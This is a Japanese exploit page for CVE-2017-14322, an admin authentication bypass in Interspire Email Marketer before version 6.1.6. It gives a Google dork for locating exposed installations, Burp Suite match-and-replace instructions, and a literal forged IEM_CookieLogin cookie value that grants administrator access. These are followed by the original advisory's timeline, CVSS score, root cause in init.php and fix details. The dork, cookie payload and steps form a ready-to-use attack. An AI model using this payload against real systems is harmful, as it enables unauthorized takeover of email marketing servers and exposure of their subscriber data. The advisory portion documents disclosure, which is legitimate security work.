CVE-2017-14322 Interspire Email Marketer (emailmarketer) エクスプロイト

Google Dork

intitle:"Control Panel" + emailmarketer

Burp Suit を使用したエクスプロイト

リクエストヘッダーに以下のような Match and Replace を追加します:

Match: ^Cookie.*$
Replace: Cookie: IEM_CookieLogin=YTo0OntzOjQ6InVzZXIiO3M6MToiMSI7czo0OiJ0aW1lIjtpOjE1MDU0NzcyOTQ7czo0OiJyYW5kIjtiOjE7czo4OiJ0YWtlbWV0byI7czo5OiJpbmRleC5waHAiO30%3D

サイトを開いたとき、最初はCookieヘッダーが存在しないため機能しません。Burpプロキシで上記のルールを追加した状態で2回目にサイトをリフレッシュすると、望んだ結果が表示されます。"Intercept Client Requests"にチェックを入れることを忘れないでください。

Title:

Interspire Email Marketer - リモート管理者認証バイパス

Author:

Hakan KÃ¼sne, Infoteam Security (CH)

CVE-ID:

CVE-2017-14322

Risk Information:

CVSS Base Score: 9.8 CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O

Timeline:

2017-09-12 脆弱性発見 2017-09-12 ベンダーが既に修正していたがクライアントに連絡せず、数百の環境が脆弱なまま放置されていることが判明 2017-10-17 公開開示

Affected Products:

Interspire Email Marketer バージョン 6.1.6 未満

Vendor Homepage:

http://www.interspire.com/emailmarketer/

Details:

Interspire Email Marketer (IEM) 6.1.6 より前のバージョンにおいて、ユーザーが既にログインしているかを確認する関数 init.php は、特別に細工された値を持つ IEM_CookieLogin クッキーを使用することで、リモート攻撃者による認証バイパスと管理者アクセスの取得を許してしまいます。さらに、顧客が年間メンテナンスプランを契約していない場合、アプリケーションは最新版であると表示し、アップデートがないと伝えます。これらの脆弱性は、侵害されたアプリケーションインスタンスに対するインシデント対応中に発見されました。

Proof of Concept:

詳細はこちら : https://security.infoteam.ch/en/blog/posts/narrative-of-an-incident-response-from-compromise-to-the-publication-of-the-weakness.html

Fix:

ベンダーはバージョン6.1.6で脆弱性を修正しましたが、具体的に顧客に通知することはありませんでした。

Note:

このエクスプロイトは教育目的のみであり、あなた自身の行動に対して一切責任を負いません。